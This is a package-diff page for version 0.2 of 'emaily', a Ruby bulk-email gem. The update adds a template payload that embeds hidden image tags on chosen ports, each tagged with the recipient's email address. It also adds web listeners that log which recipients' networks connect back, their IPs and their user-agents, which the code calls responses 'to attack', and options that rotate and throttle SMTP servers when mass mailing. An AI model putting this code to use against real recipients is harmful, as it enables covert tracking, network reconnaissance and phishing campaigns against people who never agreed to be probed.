emaily 0.1 → 0.2
Sign up to get free protection for your applications and to get access to all the features.
- data/bin/emaily +85 -46
- data/bin/emaily_webserver +89 -0
- data/bin/qp_decoder +8 -0
- data/lib/emaily.rb +1 -1
- data/lib/emaily/emaily.rb +37 -39
- data/lib/emaily/templates.rb +48 -5
- data/lib/emaily/webservers.rb +76 -0
- data/templates/test_template.html +1 -0
- metadata +32 -10
- data/lib/emaily/webserver.rb +0 -0
data/bin/emaily
CHANGED
@@ -11,15 +11,16 @@ require 'getoptlong'
|
|
11
11
|
require 'emaily'
|
12
12
|
|
13
13
|
EMaily::log = true
|
14
|
+
EMaily::status = true
|
14
15
|
@data = {}
|
15
16
|
@server = {}
|
17
|
+
@ports = nil
|
16
18
|
|
17
19
|
opts = GetoptLong.new(
|
18
20
|
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
19
21
|
[ '--version', '-v', GetoptLong::NO_ARGUMENT ],
|
20
22
|
[ '--nolog', GetoptLong::NO_ARGUMENT ],
|
21
23
|
[ '--show-templates', GetoptLong::NO_ARGUMENT ],
|
22
|
-
[ '--webserver', GetoptLong::NO_ARGUMENT ],
|
23
24
|
[ '--random', GetoptLong::NO_ARGUMENT ],
|
24
25
|
[ '--skydrive', GetoptLong::NO_ARGUMENT ],
|
25
26
|
[ '--remove-server', GetoptLong::NO_ARGUMENT ],
|
@@ -41,7 +42,10 @@ opts = GetoptLong.new(
|
|
41
42
|
[ '--attachment','-a', GetoptLong::REQUIRED_ARGUMENT ],
|
42
43
|
[ '--content-type','-c', GetoptLong::REQUIRED_ARGUMENT ],
|
43
44
|
[ '--output','-o', GetoptLong::REQUIRED_ARGUMENT ],
|
44
|
-
[ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ]
|
45
|
+
[ '--server','-S', GetoptLong::REQUIRED_ARGUMENT ],
|
46
|
+
[ '--webserver', GetoptLong::NO_ARGUMENT ],
|
47
|
+
[ '--scanports','-X', GetoptLong::REQUIRED_ARGUMENT ],
|
48
|
+
[ '--site', GetoptLong::REQUIRED_ARGUMENT ]
|
45
49
|
)
|
46
50
|
|
47
51
|
def logo()
|
@@ -68,45 +72,57 @@ opts.each do |opt, arg|
|
|
68
72
|
# BEGIN OF HELP
|
69
73
|
logo()
|
70
74
|
puts "\n\nHELP for EMaily\n---------------------\n"
|
71
|
-
puts "--help, -h"
|
72
|
-
puts "\tWell I guess you know what this is for (To obtain this Help).\n"
|
73
|
-
puts "--nolog"
|
74
|
-
puts "\tTells EMaily not to output to STDOUT.\n"
|
75
|
-
puts "ADD SERVER:"
|
76
|
-
puts "--add-server "
|
77
|
-
puts "\t --name, -n [name]\n"
|
78
|
-
puts "\t\t The name we will use to refer it.\n"
|
79
|
-
puts "\t --uri, -w [smtp.server.com]"
|
80
|
-
puts "\t\t The smtp server's uri.\n"
|
81
|
-
puts "\t--port, -p [number]"
|
82
|
-
puts "\t\t The server's port.\n"
|
83
|
-
puts "\t--domain, -d [domain]"
|
84
|
-
puts "\t\t The user's domain.\n"
|
85
|
-
puts "\t--authentication [type]"
|
86
|
-
puts "\t\t The server's authentication type.\n"
|
87
|
-
puts "\t--ssl"
|
88
|
-
puts "\t\t The server's security\n"
|
89
|
-
puts "--user, -U [username]"
|
90
|
-
puts "\t The server's username .\n"
|
91
|
-
puts "--pass, -P [password]"
|
92
|
-
puts "\t The server's password .\n\n"
|
93
|
-
puts "INPUT VARIABLES"
|
94
|
-
puts "--show-templates\n"
|
95
|
-
puts "\t Shows a list of available templates and needed fields"
|
96
|
-
puts "--template, -t [name/path]\n"
|
97
|
-
puts "\t The template path or name"
|
98
|
-
puts "--from, -f [email address] "
|
99
|
-
puts "\tEmail address of who is sending the emails.\n"
|
100
|
-
puts "--subject, -s [subject]"
|
101
|
-
puts "\t The email subject. If using Templates this is not necesary\n"
|
102
|
-
puts "--list, -l"
|
103
|
-
puts "\tThe CSV file that will populate the templates.\n"
|
104
|
-
puts "--attachment, -a [file1,file2,file3]\n"
|
105
|
-
puts "\t The attachment file/s \n"
|
106
|
-
puts "--content-type, -c [text/html; charset=UTF-8]"
|
107
|
-
puts "\t The content type used on the email. Default: text/html; charset=UTF-8
|
108
|
-
puts "--server, -S [server1,server2,server3]\n"
|
109
|
-
puts "\t The server/s to send emails\n"
|
75
|
+
puts " --help, -h"
|
76
|
+
puts " \tWell I guess you know what this is for (To obtain this Help).\n"
|
77
|
+
puts " --nolog"
|
78
|
+
puts " \tTells EMaily not to output to STDOUT.\n"
|
79
|
+
puts " ADD SERVER:"
|
80
|
+
puts " --add-server "
|
81
|
+
puts " \t --name, -n [name]\n"
|
82
|
+
puts " \t\t The name we will use to refer it.\n"
|
83
|
+
puts " \t --uri, -w [smtp.server.com]"
|
84
|
+
puts " \t\t The smtp server's uri.\n"
|
85
|
+
puts " \t--port, -p [number]"
|
86
|
+
puts " \t\t The server's port.\n"
|
87
|
+
puts " \t--domain, -d [domain]"
|
88
|
+
puts " \t\t The user's domain.\n"
|
89
|
+
puts " \t--authentication [type]"
|
90
|
+
puts " \t\t The server's authentication type.\n"
|
91
|
+
puts " \t--ssl"
|
92
|
+
puts " \t\t The server's security\n"
|
93
|
+
puts " --user, -U [username]"
|
94
|
+
puts " \t The server's username .\n"
|
95
|
+
puts " --pass, -P [password]"
|
96
|
+
puts " \t The server's password .\n\n"
|
97
|
+
puts " INPUT VARIABLES"
|
98
|
+
puts " --show-templates\n"
|
99
|
+
puts " \t Shows a list of available templates and needed fields"
|
100
|
+
puts " --template, -t [name/path]\n"
|
101
|
+
puts " \t The template path or name"
|
102
|
+
puts " --from, -f [email address] "
|
103
|
+
puts " \tEmail address of who is sending the emails.\n"
|
104
|
+
puts " --subject, -s [subject]"
|
105
|
+
puts " \t The email subject. If using Templates this is not necesary\n"
|
106
|
+
puts " --list, -l"
|
107
|
+
puts " \tThe CSV file that will populate the templates.\n"
|
108
|
+
puts " --attachment, -a [file1,file2,file3]\n"
|
109
|
+
puts " \t The attachment file/s \n"
|
110
|
+
puts " --content-type, -c [text/html; charset=UTF-8]"
|
111
|
+
puts " \t The content type used on the email. Default: 'text/html; charset=UTF-8'.\n"
|
112
|
+
puts " --server, -S [server1,server2,server3]\n"
|
113
|
+
puts " \t The server/s to send emails\n"
|
114
|
+
puts " --block, -b"
|
115
|
+
puts " \t Size of email blocks to send at one time.\n"
|
116
|
+
puts " --random\n"
|
117
|
+
puts " \t Randomly chooses among servers.\n"
|
118
|
+
puts " --sleep. -z"
|
119
|
+
puts " \t Sleep time among blocks of emails.\n"
|
120
|
+
puts " --webserver"
|
121
|
+
puts " \t Creates a web server to listen on ports declared by --scan_ports.\n"
|
122
|
+
puts " --scanports [80,443,8080,22]"
|
123
|
+
puts " \t Add scan payload to scan for list of ports.\n"
|
124
|
+
puts " --site"
|
125
|
+
puts " \t If not using local webserver a site is required.\n"
|
110
126
|
puts "Copyright 2010 - FreedomCoder\n"
|
111
127
|
#END OF HELP
|
112
128
|
exit(0)
|
@@ -167,6 +183,12 @@ opts.each do |opt, arg|
|
|
167
183
|
@data[:content_type] = arg
|
168
184
|
when '--server' then
|
169
185
|
@data[:servers] = arg.chomp.split(",")
|
186
|
+
when '--webserver' then
|
187
|
+
@webserver = true
|
188
|
+
when '--scanports' then
|
189
|
+
@ports = arg.split(",").map {|p| p.to_i} if arg != nil
|
190
|
+
when '--site' then
|
191
|
+
@data[:site] = arg
|
170
192
|
else
|
171
193
|
puts "Unknown command. Please try again"
|
172
194
|
exit(0)
|
@@ -204,13 +226,30 @@ def show_templates
|
|
204
226
|
end
|
205
227
|
|
206
228
|
def execute
|
207
|
-
session = EMaily::Email.new(@data)
|
208
|
-
if
|
209
|
-
|
229
|
+
@session = EMaily::Email.new(@data)
|
230
|
+
if @webserver
|
231
|
+
webserver = EMaily::WebServers.new(@ports || @session.ports)
|
232
|
+
webserver.create_scan_server
|
233
|
+
webserver.run
|
234
|
+
end
|
235
|
+
if @session.serv.size < 2
|
236
|
+
@block != nil ? @session.send_block(@block, @sleep) : @session.send
|
210
237
|
elsif @random
|
211
|
-
session.send_to_random_servers(@block, @sleep)
|
238
|
+
@session.send_to_random_servers(@block, @sleep)
|
212
239
|
else
|
213
|
-
session.send_to_servers(@block, @sleep)
|
240
|
+
@session.send_to_servers(@block, @sleep)
|
241
|
+
end
|
242
|
+
if @webserver
|
243
|
+
puts "If you no longer want to listen for incomming connecionts."
|
244
|
+
puts "Press Control + C to close EMaily"
|
245
|
+
trap("INT") do
|
246
|
+
webserver.stop
|
247
|
+
webserver.parsedata
|
248
|
+
EMaily::status = false
|
249
|
+
end
|
250
|
+
while EMaily::status
|
251
|
+
sleep(1)
|
252
|
+
end
|
214
253
|
end
|
215
254
|
end
|
216
255
|
|
@@ -0,0 +1,89 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
# -wKU
|
3
|
+
# emaily_webserver
|
4
|
+
#
|
5
|
+
# Created by FreedomCoder on 2010-3-6.
|
6
|
+
# Copyright 2010 FreedomCoder's Labs. All rights reserved.
|
7
|
+
#
|
8
|
+
|
9
|
+
require 'rubygems'
|
10
|
+
require 'getoptlong'
|
11
|
+
require 'webrick'
|
12
|
+
require '../lib/emaily'
|
13
|
+
|
14
|
+
module EMaily
|
15
|
+
class WebServers
|
16
|
+
SHOW_FORMAT = "+ Response from %h:%p\n|--> User-Agent: %{User-agent}i"
|
17
|
+
end
|
18
|
+
end
|
19
|
+
|
20
|
+
EMaily::log = true
|
21
|
+
EMaily::status = true
|
22
|
+
@server = {}
|
23
|
+
@ports = nil
|
24
|
+
|
25
|
+
opts = GetoptLong.new(
|
26
|
+
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
27
|
+
[ '--type','-t', GetoptLong::REQUIRED_ARGUMENT ],
|
28
|
+
[ '--ports','-p', GetoptLong::REQUIRED_ARGUMENT ],
|
29
|
+
[ '--path','-x', GetoptLong::REQUIRED_ARGUMENT ]
|
30
|
+
)
|
31
|
+
|
32
|
+
opts.each do |opt, arg|
|
33
|
+
case opt
|
34
|
+
when '--help' then
|
35
|
+
# BEGIN OF HELP
|
36
|
+
puts "nHELP for emaily_webserver\n---------------------\n"
|
37
|
+
puts "--help, -h"
|
38
|
+
puts "\tWell I guess you know what this is for (To obtain this Help).\n"
|
39
|
+
puts "--type, -t"
|
40
|
+
puts "\tType of Webserver to start [Scan | host].\n"
|
41
|
+
puts "--ports, -p"
|
42
|
+
puts "\tList of ports in which Server should listen. (default 80)\n"
|
43
|
+
puts "--path, -x"
|
44
|
+
puts "\tServer's root document path. (default .)\n"
|
45
|
+
puts "Copyright 2010 - FreedomCoder\n"
|
46
|
+
#END OF HELP
|
47
|
+
exit(0)
|
48
|
+
when '--ports' then
|
49
|
+
@ports = arg.split(",").map {|p| p.to_i}
|
50
|
+
when '--type' then
|
51
|
+
case arg
|
52
|
+
when /scan/i then
|
53
|
+
@type = :scan
|
54
|
+
when /host/i then
|
55
|
+
@type = :host
|
56
|
+
else
|
57
|
+
puts "Unrecognized type #{arg}. Should be [scan | host]."
|
58
|
+
puts "bye."
|
59
|
+
exit(1)
|
60
|
+
end
|
61
|
+
when '--path' then
|
62
|
+
@path = arg
|
63
|
+
else
|
64
|
+
puts "option not recognized.\n"
|
65
|
+
exit(1)
|
66
|
+
end
|
67
|
+
end
|
68
|
+
|
69
|
+
webserver = EMaily::WebServers.new(@ports || 80)
|
70
|
+
case @type
|
71
|
+
when :scan
|
72
|
+
webserver.create_scan_server
|
73
|
+
when :host
|
74
|
+
webserver.path = @path if @path
|
75
|
+
webserver.create_server
|
76
|
+
end
|
77
|
+
trap("INT") do
|
78
|
+
webserver.stop
|
79
|
+
webserver.parsedata
|
80
|
+
EMaily::status = false
|
81
|
+
end
|
82
|
+
webserver.run
|
83
|
+
|
84
|
+
while EMaily::status
|
85
|
+
sleep(1)
|
86
|
+
end
|
87
|
+
puts "If you no longer want to listen for incomming connecionts."
|
88
|
+
puts "Press Control + C to close EMaily StandAlone Server."
|
89
|
+
|
data/bin/qp_decoder
CHANGED
data/lib/emaily.rb
CHANGED
data/lib/emaily/emaily.rb
CHANGED
@@ -4,7 +4,16 @@ end
|
|
4
4
|
|
5
5
|
module EMaily
|
6
6
|
@@log = false
|
7
|
-
|
7
|
+
@@status = true
|
8
|
+
VERSION = 0.2
|
9
|
+
|
10
|
+
def self.status
|
11
|
+
@@status
|
12
|
+
end
|
13
|
+
|
14
|
+
def self.status=(v)
|
15
|
+
@@status=v
|
16
|
+
end
|
8
17
|
|
9
18
|
def self.log
|
10
19
|
@@log
|
@@ -25,11 +34,13 @@ module EMaily
|
|
25
34
|
@from = args[:from]
|
26
35
|
@content_type = args[:content_type] || 'text/html; charset=UTF-8;'
|
27
36
|
@template = Template.new(args[:template], @content_type)
|
37
|
+
@ports = @template.ports
|
38
|
+
@template.site = args[:site] if args[:site]
|
28
39
|
@subject = @template.subject || args[:subject]
|
29
40
|
@serv = []; args[:servers].each {|s| @serv << @servers[s][0][:values] }
|
30
41
|
setup_server(@serv[0])
|
31
42
|
end
|
32
|
-
attr_accessor :list, :from, :content_type, :subject, :serv
|
43
|
+
attr_accessor :list, :from, :content_type, :subject, :serv, :ports
|
33
44
|
|
34
45
|
def self.start(file, &block)
|
35
46
|
self.new(file)
|
@@ -37,13 +48,15 @@ module EMaily
|
|
37
48
|
end
|
38
49
|
|
39
50
|
def send
|
40
|
-
@list.each
|
51
|
+
@list.each {|p| connect p[:email], generate_email(p) }
|
41
52
|
end
|
42
53
|
|
43
|
-
def send_block(bloc = 1, rest =
|
54
|
+
def send_block(bloc = 1, rest = 0, &block)
|
44
55
|
j = 0
|
45
56
|
while (j <= @list.size) do
|
46
|
-
@list[j..(j = until_this(j,bloc))].each
|
57
|
+
@list[j..((j = until_this(j,bloc))-1)].each do |p|
|
58
|
+
connect p[:email], generate_email(p)
|
59
|
+
end
|
47
60
|
sleep(rest) if rest
|
48
61
|
block.call(self) if block_given?
|
49
62
|
end
|
@@ -53,14 +66,13 @@ module EMaily
|
|
53
66
|
send_block bloc, rest { setup_server(@serv[rand(@serv.size)]) }
|
54
67
|
end
|
55
68
|
|
56
|
-
def send_to_servers
|
57
|
-
@v
|
58
|
-
send_block bloc, rest { setup_server(@serv[(@v += 1) % @serv.size]) }
|
69
|
+
def send_to_servers(bloc = 1, rest = 0)
|
70
|
+
@v=0; send_block bloc, rest { setup_server(@serv[(@v += 1) % @serv.size]) }
|
59
71
|
end
|
60
72
|
|
61
73
|
private
|
62
|
-
def until_this(j,
|
63
|
-
j + bloc
|
74
|
+
def until_this(j, bloc)
|
75
|
+
j + bloc < @list.size ? j + bloc : @list.size
|
64
76
|
end
|
65
77
|
|
66
78
|
def generate_email(data)
|
@@ -72,46 +84,32 @@ module EMaily
|
|
72
84
|
end
|
73
85
|
|
74
86
|
def connect(email, template)
|
75
|
-
|
87
|
+
begin
|
76
88
|
mail = Mail.new
|
77
89
|
mail.to email
|
78
90
|
mail.from @from
|
79
91
|
mail.subject @subject
|
80
|
-
|
81
|
-
|
92
|
+
if @template.is_text?
|
93
|
+
mail.text_part { body template }
|
94
|
+
else
|
95
|
+
mail.text_part do
|
96
|
+
body 'This mail should be rendered or viewed as HTML'
|
97
|
+
end
|
82
98
|
end
|
83
|
-
|
84
|
-
|
85
|
-
|
99
|
+
if @template.is_html?
|
100
|
+
mail.html_part do
|
101
|
+
content_type 'text/html; charset=UTF-8'
|
102
|
+
body template
|
103
|
+
end
|
86
104
|
end
|
87
105
|
@attach.each do |file|
|
88
106
|
m.add_file file
|
89
107
|
end
|
90
108
|
mail.deliver
|
91
|
-
|
92
109
|
D "Successfully sent #{email}"
|
93
|
-
|
94
|
-
#
|
95
|
-
|
96
|
-
#m.subject @subject
|
97
|
-
#m.content_type @content_type
|
98
|
-
#if @template.is_text?
|
99
|
-
# m.text_part { body template }
|
100
|
-
#end
|
101
|
-
#if @template.is_html?
|
102
|
-
# m.html_part do
|
103
|
-
# content_type @content_type
|
104
|
-
# body template
|
105
|
-
# end
|
106
|
-
#end
|
107
|
-
#@attach.each do |file|
|
108
|
-
# m.add_file file
|
109
|
-
#end
|
110
|
-
#m.deliver
|
111
|
-
#D "Successfully sent #{email}"
|
112
|
-
#rescue
|
113
|
-
# D "Something went wrong sending #{email}"
|
114
|
-
#end
|
110
|
+
rescue
|
111
|
+
D "Something went wrong sending #{email}\nError: #{$!}\n"
|
112
|
+
end
|
115
113
|
end
|
116
114
|
end
|
117
115
|
end
|
data/lib/emaily/templates.rb
CHANGED
@@ -5,24 +5,38 @@
|
|
5
5
|
|
6
6
|
module EMaily
|
7
7
|
class Template
|
8
|
-
def initialize(template, content_type)
|
8
|
+
def initialize(template, content_type, ports=nil, site=nil)
|
9
9
|
file = File.readlines(template)
|
10
10
|
if file[0].match(/<subject>/)
|
11
11
|
@s = file[0].scan(/<subject>(.*)<\/subject>/)[0][0]
|
12
|
-
@
|
12
|
+
@templete=file[1..-1].to_s
|
13
13
|
else
|
14
|
-
@
|
14
|
+
@templete = file.to_s
|
15
15
|
end
|
16
16
|
@c = content_type
|
17
|
+
if ports
|
18
|
+
@port = ports
|
19
|
+
else @templete.match(/%%payload\[(.*)\]%%/) !=nil
|
20
|
+
@ports = @templete.scan(/%%payload\[(.*)\]%%/)[0][0].split(",").map {|p| p.to_i}
|
21
|
+
end
|
22
|
+
@site = site
|
17
23
|
end
|
24
|
+
attr_accessor :ports
|
25
|
+
attr_reader :site
|
18
26
|
|
19
27
|
def generate_email(values)
|
20
|
-
email
|
28
|
+
email = @templete.clone
|
21
29
|
D "Creating Email for #{values[:email]}" if values[:email]
|
22
|
-
|
30
|
+
email.scan(/(%%.*%%)/).each {|x| email.gsub!(/(#{x[0]})/) {|s| values[s.to_s[2...-2].to_sym]}}
|
31
|
+
email.gsub!(/%%payload\[.*\]%%/) { |pl| generate_scan_ports(values[:email])}
|
23
32
|
email
|
24
33
|
end
|
25
34
|
|
35
|
+
def generate_email_with_scan(values)
|
36
|
+
email = generate_email(values)
|
37
|
+
email.gsub!(/(<\/body>)/) {|s| "#{scan_ports(@ports, values[:email])}" + s }
|
38
|
+
end
|
39
|
+
|
26
40
|
def is_text?
|
27
41
|
@c.match(/text\/plain/) != nil ? true : false
|
28
42
|
end
|
@@ -30,9 +44,38 @@ module EMaily
|
|
30
44
|
def is_html?
|
31
45
|
@c.match(/text\/html/) != nil ? true : false
|
32
46
|
end
|
47
|
+
|
48
|
+
def site=(url)
|
49
|
+
@site = url.match(/http/) ? url : "http://#{url}"
|
50
|
+
end
|
33
51
|
|
34
52
|
def subject
|
35
53
|
@s || nil
|
36
54
|
end
|
55
|
+
|
56
|
+
private
|
57
|
+
|
58
|
+
def generate_scan_ports(identifier)
|
59
|
+
pl = ""
|
60
|
+
@ports.each do |port|
|
61
|
+
pl << "<img src=\"#{@site||("http://"+local_ip)}:#{port}/#{port}.jpg?e=#{identifier}\"/>\n"
|
62
|
+
end
|
63
|
+
pl
|
64
|
+
end
|
65
|
+
|
66
|
+
def local_ip
|
67
|
+
if @local_ip
|
68
|
+
@local_ip
|
69
|
+
else
|
70
|
+
require 'socket'
|
71
|
+
orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true
|
72
|
+
UDPSocket.open do |s|
|
73
|
+
s.connect '8.8.8.8', 1
|
74
|
+
@local_ip = s.addr.last
|
75
|
+
end
|
76
|
+
end
|
77
|
+
ensure
|
78
|
+
Socket.do_not_reverse_lookup = orig
|
79
|
+
end
|
37
80
|
end
|
38
81
|
end
|
@@ -0,0 +1,76 @@
|
|
1
|
+
require 'webrick'
|
2
|
+
include WEBrick
|
3
|
+
|
4
|
+
class CustomScanningServer < WEBrick::HTTPServlet::AbstractServlet
|
5
|
+
def do_GET(req, resp)
|
6
|
+
resp.body = ""
|
7
|
+
end
|
8
|
+
|
9
|
+
def do_POST(req, resp)
|
10
|
+
resp.body = ""
|
11
|
+
end
|
12
|
+
end
|
13
|
+
|
14
|
+
module EMaily
|
15
|
+
class WebServers
|
16
|
+
SHOW_FORMAT = "+ Response from IP %h on port %p"
|
17
|
+
LOG_FORMAT = "|| %h || %p || %U || %{User-agent}i"
|
18
|
+
def initialize(ports)
|
19
|
+
@ports = ports
|
20
|
+
@log = Dir::pwd + "/emaily_webserver_#{Time.now.to_s.gsub(/ |:|-/,"")}.log"
|
21
|
+
@data = []
|
22
|
+
@path = Dir::pwd
|
23
|
+
end
|
24
|
+
attr_accessor :path
|
25
|
+
|
26
|
+
def create_scan_server
|
27
|
+
@server = WEBrick::HTTPServer.new(:Port => @ports[0], :ServerType => Thread,
|
28
|
+
:Logger => Log.new("/dev/null"),
|
29
|
+
:AccessLog => [[$stdout, SHOW_FORMAT], [Log.new(@log), LOG_FORMAT]])
|
30
|
+
if @ports.size > 1
|
31
|
+
@ports[1..-1].each {|p| @server.listen("0.0.0.0", p)}
|
32
|
+
end
|
33
|
+
@server.mount("/*", CustomScanningServer)
|
34
|
+
end
|
35
|
+
|
36
|
+
def create_server
|
37
|
+
@server = WEBrick::HTTPServer.new(:Port => @ports[0], :DocumentRoot => @path,
|
38
|
+
:ServerType => Thread, :Logger => Log.new("/dev/null"),
|
39
|
+
:AccessLog => [[$stdout, SHOW_FORMAT], [Log.new(@log), LOG_FORMAT]])
|
40
|
+
if @ports.size > 1
|
41
|
+
@ports[1..-1].each {|p| @server.listen("0.0.0.0", p)}
|
42
|
+
end
|
43
|
+
end
|
44
|
+
|
45
|
+
def run
|
46
|
+
@server.start
|
47
|
+
end
|
48
|
+
|
49
|
+
def stop
|
50
|
+
@server.shutdown
|
51
|
+
end
|
52
|
+
|
53
|
+
def parsedata
|
54
|
+
# Print list of Ports matching IP to Email
|
55
|
+
data = File.read(@log).scan(/\|\| (.*) \|\| (.*) \|\| (.*) \|\| (.*)/)
|
56
|
+
puts "Open Ports\n"
|
57
|
+
puts "------------"
|
58
|
+
ports = data.map {|d| d[1]}.uniq
|
59
|
+
ports.each do |port|
|
60
|
+
puts "Port #{port}"
|
61
|
+
data.select {|d| d[1] == port}.uniq.each { |d| puts " #{d[0]} => #{d[2].to_s.scan(/\?e=(.*)/).to_s}\n" }
|
62
|
+
end
|
63
|
+
#Print list of Users-Agents discovered
|
64
|
+
puts "User-Agents\n"
|
65
|
+
puts "-------------"
|
66
|
+
data.map { |d| d[3]}.uniq.each {|ua| puts " "+ua}
|
67
|
+
|
68
|
+
#Print list of email addresses that responded to attack.
|
69
|
+
puts "Emails:"
|
70
|
+
data.map { |d| d[2].to_s.scan(/\?e=(.*)/).to_s}.uniq.each {|e| puts " "+e}
|
71
|
+
|
72
|
+
puts "\n\nFull Access Log data is available on #{@log}\n"
|
73
|
+
EMaily::status = false
|
74
|
+
end
|
75
|
+
end
|
76
|
+
end
|
metadata
CHANGED
@@ -1,7 +1,12 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: emaily
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
|
4
|
+
hash: 15
|
5
|
+
prerelease: false
|
6
|
+
segments:
|
7
|
+
- 0
|
8
|
+
- 2
|
9
|
+
version: "0.2"
|
5
10
|
platform: ruby
|
6
11
|
authors:
|
7
12
|
- Matias P. Brutti
|
@@ -9,24 +14,31 @@ autorequire:
|
|
9
14
|
bindir: bin
|
10
15
|
cert_chain: []
|
11
16
|
|
12
|
-
date: 2010-
|
17
|
+
date: 2010-06-13 00:00:00 -03:00
|
13
18
|
default_executable:
|
14
19
|
dependencies:
|
15
20
|
- !ruby/object:Gem::Dependency
|
16
21
|
name: mail
|
17
|
-
|
18
|
-
|
19
|
-
|
22
|
+
prerelease: false
|
23
|
+
requirement: &id001 !ruby/object:Gem::Requirement
|
24
|
+
none: false
|
20
25
|
requirements:
|
21
26
|
- - ">="
|
22
27
|
- !ruby/object:Gem::Version
|
28
|
+
hash: 15
|
29
|
+
segments:
|
30
|
+
- 2
|
31
|
+
- 1
|
32
|
+
- 2
|
23
33
|
version: 2.1.2
|
24
|
-
|
34
|
+
type: :runtime
|
35
|
+
version_requirements: *id001
|
25
36
|
description:
|
26
37
|
email: matiasbrutti@gmail.com
|
27
38
|
executables:
|
28
39
|
- emaily
|
29
40
|
- emaily_genlist
|
41
|
+
- emaily_webserver
|
30
42
|
- qp_decoder
|
31
43
|
extensions: []
|
32
44
|
|
@@ -38,10 +50,14 @@ files:
|
|
38
50
|
- lib/emaily/servers.rb
|
39
51
|
- lib/emaily/skydrive.rb
|
40
52
|
- lib/emaily/templates.rb
|
41
|
-
- lib/emaily/
|
53
|
+
- lib/emaily/webservers.rb
|
42
54
|
- lib/emaily.rb
|
43
55
|
- templates/test_template.html
|
44
56
|
- README
|
57
|
+
- bin/emaily
|
58
|
+
- bin/emaily_genlist
|
59
|
+
- bin/emaily_webserver
|
60
|
+
- bin/qp_decoder
|
45
61
|
has_rdoc: true
|
46
62
|
homepage: http://freedomcoder.com.ar/emaily
|
47
63
|
licenses: []
|
@@ -52,21 +68,27 @@ rdoc_options: []
|
|
52
68
|
require_paths:
|
53
69
|
- lib
|
54
70
|
required_ruby_version: !ruby/object:Gem::Requirement
|
71
|
+
none: false
|
55
72
|
requirements:
|
56
73
|
- - ">="
|
57
74
|
- !ruby/object:Gem::Version
|
75
|
+
hash: 3
|
76
|
+
segments:
|
77
|
+
- 0
|
58
78
|
version: "0"
|
59
|
-
version:
|
60
79
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
80
|
+
none: false
|
61
81
|
requirements:
|
62
82
|
- - ">="
|
63
83
|
- !ruby/object:Gem::Version
|
84
|
+
hash: 3
|
85
|
+
segments:
|
86
|
+
- 0
|
64
87
|
version: "0"
|
65
|
-
version:
|
66
88
|
requirements: []
|
67
89
|
|
68
90
|
rubyforge_project:
|
69
|
-
rubygems_version: 1.3.
|
91
|
+
rubygems_version: 1.3.7
|
70
92
|
signing_key:
|
71
93
|
specification_version: 3
|
72
94
|
summary: A library to send template to multiple emails.
|
data/lib/emaily/webserver.rb
DELETED
File without changes
|